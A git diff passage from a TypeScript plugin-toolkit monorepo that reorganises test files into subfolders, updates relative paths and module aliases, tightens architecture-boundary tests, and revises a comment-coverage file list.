+++ b/packages/platforms/pi/vitest.config.ts @@ -10,8 +10,8 @@ export default defineConfig({ replacement: fileURLToPath(new URL('../../acplugin/src/sdk.ts', import.meta.url)), }, { - find: /^@acplugin\/core\/kernel-sdk$/, - replacement: fileURLToPath(new URL('../../core/src/kernel-sdk.ts', import.meta.url)), + find: /^@acplugin\/core\/integration$/, + replacement: fileURLToPath(new URL('../../core/src/api/integration.ts', import.meta.url)), }, { find: /^@acplugin\/core$/, diff --git a/packages/test/test/extension-api.types.ts b/packages/test/test/api/extension-api.types.ts similarity index 100% rename from packages/test/test/extension-api.types.ts rename to packages/test/test/api/extension-api.types.ts diff --git a/packages/test/test/legacy-api.types.ts b/packages/test/test/api/legacy-api.types.ts similarity index 100% rename from packages/test/test/legacy-api.types.ts rename to packages/test/test/api/legacy-api.types.ts diff --git a/packages/test/test/public-api.types.ts b/packages/test/test/api/public-api.types.ts similarity index 100% rename from packages/test/test/public-api.types.ts rename to packages/test/test/api/public-api.types.ts diff --git a/packages/test/test/sdk-api.types.ts b/packages/test/test/api/sdk-api.types.ts similarity index 96% rename from packages/test/test/sdk-api.types.ts rename to packages/test/test/api/sdk-api.types.ts index 23b6c5e..95bba9b 100644 --- a/packages/test/test/sdk-api.types.ts +++ b/packages/test/test/api/sdk-api.types.ts @@ -7,6 +7,7 @@ import { definePlatform as definePlatformFromRoot } from '@tokenroll/acplugin'; import { defineExtension, definePlatform, + snapshotJson, type AcpluginExtension, type AcpluginPlatform, type ExtensionDefinition, @@ -92,6 +93,8 @@ export function verifyKernelV2SdkTypes(): void { sourcemap: true, plugins: [plugin], }; + /** SDK 为可信集成提供与 Core definition 相同的无行为 JSON snapshot。 */ + const snapshot = snapshotJson({ enabled: true }, 'SDK fixture'); // @ts-expect-error Core 从 CompileEntry 建立 input,不接受 Rolldown 裸路径。 const managedInputEscape: ManagedRolldownInputOptions = { input: '/tmp/escape.ts' }; @@ -119,6 +122,7 @@ export function verifyKernelV2SdkTypes(): void { managedInputEscape, managedOutputEscape, managedWritePlugin, + snapshot, undefined as unknown as Project, ]; } diff --git a/packages/test/test/sdk-package-boundary.test.ts b/packages/test/test/api/sdk-package-boundary.test.ts similarity index 99% rename from packages/test/test/sdk-package-boundary.test.ts rename to packages/test/test/api/sdk-package-boundary.test.ts index 880c1cc..b02f034 100644 --- a/packages/test/test/sdk-package-boundary.test.ts +++ b/packages/test/test/api/sdk-package-boundary.test.ts @@ -5,7 +5,7 @@ import { fileURLToPath, pathToFileURL } from 'node:url'; import { afterEach, describe, expect, it } from 'vitest'; /** 主包工作区根目录。 */ -const packageRoot = fileURLToPath(new URL('../../acplugin', import.meta.url)); +const packageRoot = fileURLToPath(new URL('../../../acplugin', import.meta.url)); /** packed consumer 测试创建的临时目录。 */ const temporaryRoots: string[] = []; diff --git a/packages/test/test/architecture.test.ts b/packages/test/test/architecture/architecture.test.ts similarity index 98% rename from packages/test/test/architecture.test.ts rename to packages/test/test/architecture/architecture.test.ts index 3fb4c4b..ce03fd6 100644 --- a/packages/test/test/architecture.test.ts +++ b/packages/test/test/architecture/architecture.test.ts @@ -4,7 +4,7 @@ import { fileURLToPath } from 'node:url'; import { describe, expect, it } from 'vitest'; /** 架构残留扫描使用的仓库绝对根目录。 */ -const root = fileURLToPath(new URL('../../..', import.meta.url)); +const root = fileURLToPath(new URL('../../../..', import.meta.url)); /** 生产源码中不允许继续存在的旧运行时类型和投影字段。 */ const RETIRED_RUNTIME_PATTERN = /\b(?:TargetId|ResolvedTarget|AcpluginModule|TargetContribution|CompilerContext|CompilerOutput|CompilerRegistry|BuildRequest|legacyTargets|legacyModules|buildProject|ArtifactGraph)\b/; @@ -14,7 +14,7 @@ const RETIRED_PACKAGE_PATTERN = /@acplugin\/compiler-|@tokenroll\/acplugin-modul /** 允许保留旧字段文字、但只能用于定向诊断或迁移的生产源码。 */ const LEGACY_TERM_ALLOWLIST = new Set([ - 'packages/acplugin/src/cli.ts', + 'packages/acplugin/src/cli/program.ts', ]); /** diff --git a/packages/test/test/kernel-v2-architecture.test.ts b/packages/test/test/architecture/integration-boundaries.test.ts similarity index 80% rename from packages/test/test/kernel-v2-architecture.test.ts rename to packages/test/test/architecture/integration-boundaries.test.ts index ebba1d2..d1f86a6 100644 --- a/packages/test/test/kernel-v2-architecture.test.ts +++ b/packages/test/test/architecture/integration-boundaries.test.ts @@ -3,8 +3,8 @@ import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { describe, expect, it } from 'vitest'; -/** Kernel v2 架构守卫扫描时使用的仓库根目录。 */ -const root = fileURLToPath(new URL('../../..', import.meta.url)); +/** Integration 架构边界守卫扫描时使用的仓库根目录。 */ +const root = fileURLToPath(new URL('../../../..', import.meta.url)); /** 正式生产源码中不得继续新增的 v1 模型或命令式 Context API。 */ const v1ArchitecturePattern = /\b(?:executeLifecycle|PlatformDraft|DeliveryUnit|ExtensionPlatformAdapter|ProjectBuildService|ProjectModuleService|emitArtifact|patchDocument)\b/; @@ -21,26 +21,27 @@ const watcherPattern = /(?:from\s+['"]chokidar['"]|import\(\s*['"]chokidar['"])/ /** 主包 bundle 私有 Core 时允许保留的精确源码入口。 */ const privateCoreImportPattern = /(?:from\s+['"]@acplugin\/core(?:\/[^'"]+)?['"]|import\(\s*['"]@acplugin\/core(?:\/[^'"]+)?['"])/; -/** K2-001 完成后正式生产源码不允许保留任何 v1 架构符号。 */ +/** 架构重构完成后正式生产源码不允许保留任何 v1 架构符号。 */ const v1ArchitectureAllowlist = [] as const; -/** K2-001 固定的 Integration 根入口导入;对应包迁移后必须从列表删除。 */ +/** Integration 根入口导入的固定基线;对应包迁移后必须从列表删除。 */ const rootSdkImportAllowlist = [] as const; -/** K2-004 收敛后 Core 唯一允许的 Rolldown driver 文件。 */ +/** Core 只允许 Compiler driver 与 SDK type contract 直接引用精确 Rolldown 包。 */ const directRolldownAllowlist = [ 'packages/core/src/compiler/engine-loader.ts', + 'packages/core/src/contracts/compiler.ts', ] as const; /** CLI 与 Integration 不得建立第二个 watcher owner。 */ const watcherAllowlist = [ - 'packages/core/src/kernel/dev-session.ts', + 'packages/core/src/lifecycle/dev-session.ts', ] as const; /** 主包构建期间允许引用私有 Core 的精确入口。 */ const privateCoreImportAllowlist = [ + 'packages/acplugin/src/author/project.ts', 'packages/acplugin/src/index.ts', - 'packages/acplugin/src/project.ts', 'packages/acplugin/src/sdk.ts', ] as const; @@ -99,7 +100,7 @@ async function matchingFiles(pattern: RegExp): Promise { .sort(); } -describe('Kernel v2 migration architecture guard', () => { +describe('Integration architecture boundary guard', () => { it('only shrinks the exact v1 architecture baseline', async () => { expect(await matchingFiles(v1ArchitecturePattern)).toEqual([...v1ArchitectureAllowlist].sort()); }); @@ -110,7 +111,7 @@ describe('Kernel v2 migration architecture guard', () => { expect(matches).toEqual([...rootSdkImportAllowlist].sort()); }); - it('keeps direct Rolldown imports confined to the current Core driver baseline', async () => { + it('keeps direct Rolldown imports confined to the Core driver and type contract', async () => { expect(await matchingFiles(directRolldownPattern)).toEqual([...directRolldownAllowlist].sort()); }); @@ -129,19 +130,23 @@ describe('Kernel v2 migration architecture guard', () => { it('keeps replaced Scanner and config implementations absent', async () => { await expect(fs.access(path.join(root, 'packages/core/src/scanner.ts'))).rejects.toThrow(); await expect(fs.access(path.join(root, 'packages/core/src/config.ts'))).rejects.toThrow(); - /** 全部正式生产源码用于检查旧相对导入已经完全消失。 */ + /** 全部正式生产源码用于检查解析后仍指向旧根模块的相对导入。 */ const production = (await Promise.all(productionRoots.map(sourceFiles))).flat(); /** 文件文本与路径配对后执行精确旧导入扫描。 */ const imports = await Promise.all(production.map(async file => ({ file, source: await fs.readFile(path.join(root, file), 'utf8'), }))); - expect(imports.filter(item => /from\s+['"]\.\/(?:scanner|config)\.js['"]/.test(item.source)).map(item => item.file)).toEqual([]); + /** 任意相对层级的 import specifier 都按源文件目录解析后再与旧根路径比较。 */ + const staleImports = imports.flatMap(({ file, source }) => [...source.matchAll(/from\s+['"](\.\.?\/(?:[^'"]+\/)*(?:scanner|config)\.js)['"]/gu)] + .filter(match => ['packages/core/src/scanner.js', 'packages/core/src/config.js'].includes(path.posix.normalize(path.posix.join(path.posix.dirname(file), match[1]!)))) + .map(() => file)); + expect(staleImports).toEqual([]); }); it('keeps the lifecycle API version at one during the beta rewrite', async () => { - /** Kernel v2 类型契约中的 API version 是新架构的单一源码断言。 */ - const source = await fs.readFile(path.join(root, 'packages/core/src/kernel-types.ts'), 'utf8'); + /** Core 基础契约中的 API version 是新架构的单一源码断言。 */ + const source = await fs.readFile(path.join(root, 'packages/core/src/contracts/common.ts'), 'utf8'); expect(source).toContain('export const LIFECYCLE_API_VERSION = \'1\' as const;'); }); }); diff --git a/packages/test/test/repository.test.ts b/packages/test/test/architecture/repository.test.ts similarity index 99% rename from packages/test/test/repository.test.ts rename to packages/test/test/architecture/repository.test.ts index e83ed23..b68c672 100644 --- a/packages/test/test/repository.test.ts +++ b/packages/test/test/architecture/repository.test.ts @@ -4,7 +4,7 @@ import { fileURLToPath } from 'node:url'; import { describe, expect, it } from 'vitest'; /** 当前 monorepo 根目录,用于读取工作流、清单与稳定文档。 */ -const root = fileURLToPath(new URL('../../..', import.meta.url)); +const root = fileURLToPath(new URL('../../../..', import.meta.url)); /** * 读取仓库根目录下的 UTF-8 文件。 diff --git a/packages/test/test/workspace-layout.test.ts b/packages/test/test/architecture/workspace-layout.test.ts similarity index 98% rename from packages/test/test/workspace-layout.test.ts rename to packages/test/test/architecture/workspace-layout.test.ts index e1457b8..420acef 100644 --- a/packages/test/test/workspace-layout.test.ts +++ b/packages/test/test/architecture/workspace-layout.test.ts @@ -4,7 +4,7 @@ import { fileURLToPath } from 'node:url'; import { describe, expect, it } from 'vitest'; /** Workspace 边界测试读取的仓库绝对根目录。 */ -const root = fileURLToPath(new URL('../../..', import.meta.url)); +const root = fileURLToPath(new URL('../../../..', import.meta.url)); /** 六个官方 Platform 的目录名、公开包名与当前独立版本。 */ const platformPackages = [ diff --git a/packages/test/test/workspace.test.ts b/packages/test/test/architecture/workspace.test.ts similarity index 100% rename from packages/test/test/workspace.test.ts rename to packages/test/test/architecture/workspace.test.ts diff --git a/packages/test/test/build.test.ts b/packages/test/test/cli/build.test.ts similarity index 100% rename from packages/test/test/build.test.ts rename to packages/test/test/cli/build.test.ts diff --git a/packages/test/test/cli.test.ts b/packages/test/test/cli/cli.test.ts similarity index 99% rename from packages/test/test/cli.test.ts rename to packages/test/test/cli/cli.test.ts index f799255..91facb7 100644 --- a/packages/test/test/cli.test.ts +++ b/packages/test/test/cli/cli.test.ts @@ -5,13 +5,13 @@ import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; /** 构建后 CLI 入口的绝对路径,用于真实子进程契约测试。 */ -const cli = path.resolve(import.meta.dirname, '../../acplugin/dist/cli.mjs'); +const cli = path.resolve(import.meta.dirname, '../../../acplugin/dist/cli.mjs'); /** CLI 子进程配置显式加载的两个独立 Platform 构建入口。 */ -const claudeCodeEntry = path.resolve(import.meta.dirname, '../../platforms/claude-code/dist/index.mjs'); +const claudeCodeEntry = path.resolve(import.meta.dirname, '../../../platforms/claude-code/dist/index.mjs'); /** CLI 子进程配置加载的 Codex Platform 构建入口。 */ -const codexEntry = path.resolve(import.meta.dirname, '../../platforms/codex/dist/index.mjs'); +const codexEntry = path.resolve(import.meta.dirname, '../../../platforms/codex/dist/index.mjs'); /** CLI 子进程配置与官方 Integration 共用的主包 SDK 构建入口。 */ -const acpluginEntry = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); +const acpluginEntry = path.resolve(import.meta.dirname, '../../../acplugin/dist/index.mjs'); /** 所有有效 CLI fixture 共用的独立 Platform 导入源码。 */ const platformImports = `import claudeCode from '@tokenroll/acplugin-platform-claude-code'; import codex from '@tokenroll/acplugin-platform-codex';`; @@ -318,7 +318,7 @@ describe.sequential('CLI subprocess contract', () => { /** CLI 动态 Migration smoke 使用的临时工作目录。 */ const root = await temporaryProject(); /** 包含规范资源、远程 MCP 与未映射内容的固定 Legacy Fixture。 */ - const source = path.resolve(import.meta.dirname, '../fixtures/migration/claude-project'); + const source = path.resolve(import.meta.dirname, '../../fixtures/migration/claude-project'); /** dry-run 不会创建、但仍必须满足目标边界检查的候选路径。 */ const destination = path.join(root, 'migrated'); @@ -792,7 +792,7 @@ export default { await writeValidProject(root); /** 临时工程按公开包名加载的 MCP Extension 代理目录。 */ /** 真实 MCP Extension 构建产物入口。 */ - const extensionEntry = path.resolve(import.meta.dirname, '../../extensions/mcp/dist/index.mjs'); + const extensionEntry = path.resolve(import.meta.dirname, '../../../extensions/mcp/dist/index.mjs'); await writePackageProxy(root, '@tokenroll/acplugin-extension-mcp', extensionEntry); /** 只通过 Server import graph 可达、且位于默认忽略目录的测试依赖。 */ const helperPackage = path.join(root, 'node_modules/mcp-watch-helper'); diff --git a/packages/test/test/init.test.ts b/packages/test/test/cli/init.test.ts similarity index 100% rename from packages/test/test/init.test.ts rename to packages/test/test/cli/init.test.ts diff --git a/packages/test/test/hooks.test.ts b/packages/test/test/extensions/hooks.test.ts similarity index 97% rename from packages/test/test/hooks.test.ts rename to packages/test/test/extensions/hooks.test.ts index a35e5be..133e776 100644 --- a/packages/test/test/hooks.test.ts +++ b/packages/test/test/extensions/hooks.test.ts @@ -9,7 +9,7 @@ import hooks, { } from '@tokenroll/acplugin-extension-hooks'; /** 跨包 Hooks 契约测试使用的仓库根目录。 */ -const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); +const repositoryRoot = fileURLToPath(new URL('../../../..', import.meta.url)); /** * 递归读取一个源码目录中的全部 TypeScript 文件。 diff --git a/packages/test/test/claude-code.test.ts b/packages/test/test/platforms/claude-code.test.ts similarity index 97% rename from packages/test/test/claude-code.test.ts rename to packages/test/test/platforms/claude-code.test.ts index 32164a8..7ccec9e 100644 --- a/packages/test/test/claude-code.test.ts +++ b/packages/test/test/platforms/claude-code.test.ts @@ -5,7 +5,7 @@ import { describe, expect, it } from 'vitest'; import claudeCode, { PLATFORM_ID } from '@tokenroll/acplugin-platform-claude-code'; /** 跨包契约测试读取源码边界时使用的仓库根目录。 */ -const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); +const repositoryRoot = fileURLToPath(new URL('../../../..', import.meta.url)); /** * 递归读取 Claude Code Platform 的全部 TypeScript 源码。 diff --git a/packages/test/test/codex.test.ts b/packages/test/test/platforms/codex.test.ts similarity index 99% rename from packages/test/test/codex.test.ts rename to packages/test/test/platforms/codex.test.ts index 442920b..c769999 100644 --- a/packages/test/test/codex.test.ts +++ b/packages/test/test/platforms/codex.test.ts @@ -8,7 +8,7 @@ import type { BuildReport } from '@tokenroll/acplugin'; import codex, { PLATFORM_ID } from '@tokenroll/acplugin-platform-codex'; /** 跨包契约测试读取源码边界时使用的仓库根目录。 */ -const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); +const repositoryRoot = fileURLToPath(new URL('../../../..', import.meta.url)); /** 配置和生命周期共用品牌实例的主包真实构建入口。 */ const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); diff --git a/packages/test/test/secondary-platforms.test.ts b/packages/test/test/platforms/secondary-platforms.test.ts similarity index 99% rename from packages/test/test/secondary-platforms.test.ts rename to packages/test/test/platforms/secondary-platforms.test.ts index c1d84c1..e28e9ee 100644 --- a/packages/test/test/secondary-platforms.test.ts +++ b/packages/test/test/platforms/secondary-platforms.test.ts @@ -7,7 +7,7 @@ import { afterEach, describe, expect, it } from 'vitest'; import type { BuildReport, RunProjectOptions } from '@tokenroll/acplugin'; /** 当前测试文件所在仓库的绝对根目录。 */ -const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); +const repositoryRoot = fileURLToPath(new URL('../../../..', import.meta.url)); /** 配置文件直接导入的主包真实构建产物。 */ const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); diff --git a/packages/test/test/comment-coverage.test.ts b/packages/test/test/release/comment-coverage.test.ts similarity index 97% rename from packages/test/test/comment-coverage.test.ts rename to packages/test/test/release/comment-coverage.test.ts index 4f0b4d3..70f6cef 100644 --- a/packages/test/test/comment-coverage.test.ts +++ b/packages/test/test/release/comment-coverage.test.ts @@ -6,7 +6,7 @@ import { fileURLToPath } from 'node:url'; import { afterEach, describe, expect, it } from 'vitest'; /** 当前 monorepo 根目录和真实注释检查入口。 */ -const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); +const repositoryRoot = fileURLToPath(new URL('../../../..', import.meta.url)); /** 由临时 fixture 子进程执行的注释检查脚本。 */ const checker = path.join(repositoryRoot, 'scripts/check-comments.mjs'); /** 每个测试结束后需要删除的临时仓库根。 */ diff --git a/packages/test/test/ecosystem-contract.test.ts b/packages/test/test/release/ecosystem-contract.test.ts similarity index 100% rename from packages/test/test/ecosystem-contract.test.ts rename to packages/test/test/release/ecosystem-contract.test.ts diff --git a/packages/test/test/package-boundaries.test.ts b/packages/test/test/release/package-boundaries.test.ts similarity index 99% rename from packages/test/test/package-boundaries.test.ts rename to packages/test/test/release/package-boundaries.test.ts index 827ea04..822fd85 100644 --- a/packages/test/test/package-boundaries.test.ts +++ b/packages/test/test/release/package-boundaries.test.ts @@ -4,7 +4,7 @@ import { fileURLToPath, pathToFileURL } from 'node:url'; import { describe, expect, it } from 'vitest'; /** 包边界测试读取构建产物和清单时使用的仓库根目录。 */ -const root = fileURLToPath(new URL('../../..', import.meta.url)); +const root = fileURLToPath(new URL('../../../..', import.meta.url)); /** 六个独立 Platform package 目录及其公开工厂名。 */ const platformEntries = [ diff --git a/packages/test/vitest.config.ts b/packages/test/vitest.config.ts index 257dc1d..ece91a9 100644 --- a/packages/test/vitest.config.ts +++ b/packages/test/vitest.config.ts @@ -19,8 +19,8 @@ export default defineConfig({ resolve: { alias: [ { find: '@tokenroll/acplugin/sdk', replacement: workspaceSource('../acplugin/src/sdk.ts') }, - { find: '@acplugin/core/kernel-sdk', replacement: workspaceSource('../core/src/kernel-sdk.ts') }, - { find: '@acplugin/core/kernel-author', replacement: workspaceSource('../core/src/kernel-author.ts') }, + { find: '@acplugin/core/integration', replacement: workspaceSource('../core/src/api/integration.ts') }, + { find: '@acplugin/core/author', replacement: workspaceSource('../core/src/api/author.ts') }, { find: '@acplugin/core', replacement: workspaceSource('../core/src/index.ts') }, { find: '@tokenroll/acplugin', replacement: workspaceSource('../acplugin/src/index.ts') }, { find: '@tokenroll/acplugin-platform-antigravity', replacement: workspaceSource('../platforms/antigravity/src/index.ts') }, diff --git a/scripts/comment-coverage.json b/scripts/comment-coverage.json index 33378cf..8062d13 100644 --- a/scripts/comment-coverage.json +++ b/scripts/comment-coverage.json @@ -1,10 +1,22 @@ { "schemaVersion": 1, "enforcedFiles": [ + "packages/acplugin/src/author/project.ts", "packages/acplugin/src/cli.ts", - "packages/acplugin/src/ecosystem-versions.ts", + "packages/acplugin/src/cli/commands/build.ts", + "packages/acplugin/src/cli/commands/dev.ts", + "packages/acplugin/src/cli/commands/init.ts", + "packages/acplugin/src/cli/commands/inspect.ts", + "packages/acplugin/src/cli/commands/migrate.ts", + "packages/acplugin/src/cli/commands/pipeline.ts", + "packages/acplugin/src/cli/commands/validate.ts", + "packages/acplugin/src/cli/options.ts", + "packages/acplugin/src/cli/output.ts", + "packages/acplugin/src/cli/program.ts", + "packages/acplugin/src/ecosystem/framework-version.ts", + "packages/acplugin/src/ecosystem/versions.ts", "packages/acplugin/src/index.ts", - "packages/acplugin/src/init.ts", + "packages/acplugin/src/migration/ids.ts", "packages/acplugin/src/migration/index.ts", "packages/acplugin/src/migration/legacy/github.ts", "packages/acplugin/src/migration/legacy/scanner/claude.ts", @@ -12,152 +24,96 @@ "packages/acplugin/src/migration/legacy/types.ts", "packages/acplugin/src/migration/legacy/utils/frontmatter.ts", "packages/acplugin/src/migration/legacy/utils/fs.ts", - "packages/acplugin/src/project.ts", - "packages/acplugin/src/version.ts", + "packages/acplugin/src/migration/metadata.ts", + "packages/acplugin/src/migration/types.ts", + "packages/acplugin/src/migration/validation.ts", + "packages/acplugin/src/migration/writers/components.ts", + "packages/acplugin/src/migration/writers/hooks.ts", + "packages/acplugin/src/migration/writers/mcp.ts", + "packages/acplugin/src/migration/writers/project.ts", + "packages/acplugin/src/migration/writers/shared.ts", + "packages/acplugin/src/scaffolding/init.ts", + "packages/acplugin/src/scaffolding/prompts.ts", + "packages/acplugin/src/scaffolding/templates.ts", "packages/acplugin/src/sdk.ts", "packages/acplugin/test/sdk-boundary.test.ts", "packages/acplugin/tsdown.config.ts", - "packages/core/src/compiler/compiler-host.ts", + "packages/core/src/api/author.ts", + "packages/core/src/api/definitions.ts", + "packages/core/src/api/integration.ts", + "packages/core/src/compiler/compiler-service.ts", "packages/core/src/compiler/engine-loader.ts", "packages/core/src/compiler/job-normalizer.ts", - "packages/core/src/compiler/managed-auditor.ts", - "packages/core/src/compiler/managed-boundary.ts", - "packages/core/src/compiler/managed-options.ts", - "packages/core/src/compiler/physical-path-auditor.ts", - "packages/core/src/compiler/portable-auditor.ts", "packages/core/src/compiler/license-pipeline.ts", - "packages/core/src/compiler/portable-options.ts", - "packages/core/src/compiler/portable-policy.ts", + "packages/core/src/compiler/managed/auditor.ts", + "packages/core/src/compiler/managed/boundary.ts", + "packages/core/src/compiler/managed/options.ts", + "packages/core/src/compiler/physical-path-auditor.ts", + "packages/core/src/compiler/portable-node/auditor.ts", + "packages/core/src/compiler/portable-node/options.ts", + "packages/core/src/compiler/portable-node/policy.ts", + "packages/core/src/config/resolver.ts", + "packages/core/src/contracts/common.ts", + "packages/core/src/contracts/compiler.ts", + "packages/core/src/contracts/components.ts", + "packages/core/src/contracts/config.ts", + "packages/core/src/contracts/index.ts", + "packages/core/src/contracts/integrations.ts", + "packages/core/src/contracts/packages.ts", + "packages/core/src/contracts/project.ts", + "packages/core/src/contracts/reports.ts", + "packages/core/src/contracts/services.ts", "packages/core/src/index.ts", - "packages/core/src/kernel/build-session.ts", - "packages/core/src/kernel/project.ts", - "packages/core/src/kernel-contracts.ts", - "packages/core/src/kernel-author.ts", - "packages/core/src/kernel/asset-registry.ts", - "packages/core/src/kernel/build-session-scope.ts", - "packages/core/src/kernel/config-resolver.ts", - "packages/core/src/kernel/dev-session.ts", - "packages/core/src/kernel/data-boundary.ts", - "packages/core/src/kernel/diagnostic-registry.ts", - "packages/core/src/kernel/execution-host.ts", - "packages/core/src/kernel/extension-state.ts", - "packages/core/src/kernel/module-host.ts", - "packages/core/src/kernel/path-policy.ts", - "packages/core/src/kernel/report-safety.ts", - "packages/core/src/kernel/source-registry.ts", - "packages/core/src/kernel/work-directories.ts", - "packages/core/src/kernel/watch-registry.ts", - "packages/core/src/kernel-sdk.ts", - "packages/core/src/kernel-types.ts", - "packages/core/src/package/compatibility-registry.ts", + "packages/core/src/lifecycle/build-environment.ts", + "packages/core/src/lifecycle/build-session.ts", + "packages/core/src/lifecycle/dev-session.ts", + "packages/core/src/lifecycle/integration-sessions.ts", + "packages/core/src/lifecycle/platform-pipeline.ts", + "packages/core/src/lifecycle/session-scope.ts", + "packages/core/src/output/lock.ts", + "packages/core/src/output/recovery.ts", + "packages/core/src/output/transaction-files.ts", + "packages/core/src/output/transaction.ts", "packages/core/src/package/candidate-materializer.ts", - "packages/core/src/package/document-codec.ts", - "packages/core/src/package/distribution-registry.ts", + "packages/core/src/package/compatibility.ts", + "packages/core/src/package/distributions.ts", + "packages/core/src/package/documents.ts", "packages/core/src/package/json-snapshot.ts", - "packages/core/src/package/package-registry.ts", + "packages/core/src/package/registry.ts", "packages/core/src/package/report-builder.ts", - "packages/core/src/resources/canonical-provider.ts", - "packages/core/src/resources/extension-provider.ts", + "packages/core/src/project/project.ts", + "packages/core/src/resources/canonical/agents.ts", + "packages/core/src/resources/canonical/commands.ts", + "packages/core/src/resources/canonical/provider.ts", + "packages/core/src/resources/canonical/shared.ts", + "packages/core/src/resources/canonical/skills.ts", + "packages/core/src/resources/extensions.ts", "packages/core/src/resources/project-graph.ts", - "packages/core/src/resources/public-provider.ts", - "packages/core/src/resources/resource-registry.ts", - "packages/core/src/resources/runtime-paths.ts", - "packages/core/src/resources/runtime-provider.ts", - "packages/core/src/serialization.ts", - "packages/core/src/transaction.ts", - "packages/core/test/kernel-contracts.test.ts", - "packages/core/test/asset-registry.test.ts", - "packages/core/test/source-registry.test.ts", + "packages/core/src/resources/public.ts", + "packages/core/src/resources/registry.ts", + "packages/core/src/resources/runtime/paths.ts", + "packages/core/src/resources/runtime/provider.ts", + "packages/core/src/security/data-boundary.ts", + "packages/core/src/security/json-snapshot.ts", + "packages/core/src/security/path-policy.ts", + "packages/core/src/security/report-safety.ts", + "packages/core/src/serialization/documents.ts", + "packages/core/src/serialization/index.ts", + "packages/core/src/serialization/json.ts", + "packages/core/src/services/assets.ts", + "packages/core/src/services/diagnostics.ts", + "packages/core/src/services/execution.ts", + "packages/core/src/services/extension-state.ts", + "packages/core/src/services/modules.ts", + "packages/core/src/services/sources.ts", + "packages/core/src/services/watch.ts", + "packages/core/src/services/work-directories.ts", + "packages/core/test/contracts/integration-definitions.test.ts", + "packages/core/test/services/asset-registry.test.ts", + "packages/core/test/services/source-registry.test.ts", "packages/core/tsdown.config.ts", "packages/docs/.vitepress/config.mts", "packages/docs/.vitepress/theme/index.ts", - "packages/playground/acplugin.config.ts", - "packages/playground/src/hooks/permission-request/hook.ts", - "packages/playground/src/hooks/post-compact/hook.ts", - "packages/playground/src/hooks/post-tool-use/hook.ts", - "packages/playground/src/hooks/pre-compact/hook.ts", - "packages/playground/src/hooks/pre-tool-use/hook.ts", - "packages/playground/src/hooks/session-end/hook.ts", - "packages/playground/src/hooks/session-start/hook.ts", - "packages/playground/src/hooks/stop/hook.ts", - "packages/playground/src/hooks/subagent-start/hook.ts", - "packages/playground/src/hooks/subagent-stop/hook.ts", - "packages/playground/src/hooks/user-prompt-submit/hook.ts", - "packages/playground/src/mcp/local-tools/mcp.ts", - "packages/playground/src/mcp/local-tools/server.ts", - "packages/playground/src/mcp/oauth-docs/mcp.ts", - "packages/playground/src/mcp/protected-docs/mcp.ts", - "packages/playground/src/mcp/public-docs/mcp.ts", - "packages/playground/src/runtime/main.ts", - "packages/test/test/architecture.test.ts", - "packages/test/test/build.test.ts", - "packages/test/test/cli.test.ts", - "packages/test/test/comment-coverage.test.ts", - "packages/test/test/claude-code.test.ts", - "packages/test/test/codex.test.ts", - "packages/test/test/ecosystem-contract.test.ts", - "packages/test/test/extension-api.types.ts", - "packages/test/test/hooks.test.ts", - "packages/test/test/init.test.ts", - "packages/test/test/kernel-v2-architecture.test.ts", - "packages/test/test/legacy-api.types.ts", - "packages/test/test/migration.test.ts", - "packages/test/test/secondary-platforms.test.ts", - "packages/test/test/sdk-package-boundary.test.ts", - "packages/test/test/package-boundaries.test.ts", - "packages/test/test/public-api.types.ts", - "packages/test/test/repository.test.ts", - "packages/test/test/workspace.test.ts", - "packages/test/test/workspace-layout.test.ts", - "packages/test/vitest.config.ts", - "packages/platforms/claude-code/src/index.ts", - "packages/platforms/claude-code/src/types.ts", - "packages/platforms/claude-code/src/components.ts", - "packages/platforms/claude-code/src/manifest.ts", - "packages/platforms/claude-code/src/validator.ts", - "packages/platforms/claude-code/test/platform.test.ts", - "packages/platforms/claude-code/tsdown.config.ts", - "packages/platforms/claude-code/vitest.config.ts", - "packages/platforms/codex/src/index.ts", - "packages/platforms/codex/src/types.ts", - "packages/platforms/codex/src/protocol.ts", - "packages/platforms/codex/src/components.ts", - "packages/platforms/codex/src/manifest.ts", - "packages/platforms/codex/src/validator.ts", - "packages/platforms/codex/test/platform.test.ts", - "packages/platforms/codex/tsdown.config.ts", - "packages/platforms/codex/vitest.config.ts", - "packages/platforms/cursor/src/index.ts", - "packages/platforms/cursor/src/components.ts", - "packages/platforms/cursor/src/manifest.ts", - "packages/platforms/cursor/src/types.ts", - "packages/platforms/cursor/src/validator.ts", - "packages/platforms/cursor/test/platform.test.ts", - "packages/platforms/cursor/tsdown.config.ts", - "packages/platforms/cursor/vitest.config.ts", - "packages/platforms/antigravity/src/index.ts", - "packages/platforms/antigravity/src/components.ts", - "packages/platforms/antigravity/src/manifest.ts", - "packages/platforms/antigravity/src/validator.ts", - "packages/platforms/antigravity/test/platform.test.ts", - "packages/platforms/antigravity/tsdown.config.ts", - "packages/platforms/antigravity/vitest.config.ts", - "packages/platforms/opencode/src/index.ts", - "packages/platforms/opencode/src/components.ts", - "packages/platforms/opencode/src/config-document.ts", - "packages/platforms/opencode/src/types.ts", - "packages/platforms/opencode/src/validator.ts", - "packages/platforms/opencode/test/platform.test.ts", - "packages/platforms/opencode/tsdown.config.ts", - "packages/platforms/opencode/vitest.config.ts", - "packages/platforms/pi/src/index.ts", - "packages/platforms/pi/src/components.ts", - "packages/platforms/pi/src/manifest.ts", - "packages/platforms/pi/src/types.ts", - "packages/platforms/pi/src/validator.ts", - "packages/platforms/pi/test/platform.test.ts", - "packages/platforms/pi/tsdown.config.ts", - "packages/platforms/pi/vitest.config.ts", "packages/extensions/hooks/src/build.ts", "packages/extensions/hooks/src/constants.ts", "packages/extensions/hooks/src/contributors/antigravity.ts", @@ -170,14 +126,17 @@ "packages/extensions/hooks/src/contributors/pi.ts", "packages/extensions/hooks/src/discovery.ts", "packages/extensions/hooks/src/index.ts", - "packages/extensions/hooks/src/runtime-source.ts", - "packages/extensions/hooks/src/runtime-integration-source.ts", + "packages/extensions/hooks/src/runtime/integration.ts", + "packages/extensions/hooks/src/runtime/runner.ts", + "packages/extensions/hooks/src/runtime/wire.ts", "packages/extensions/hooks/src/types.ts", - 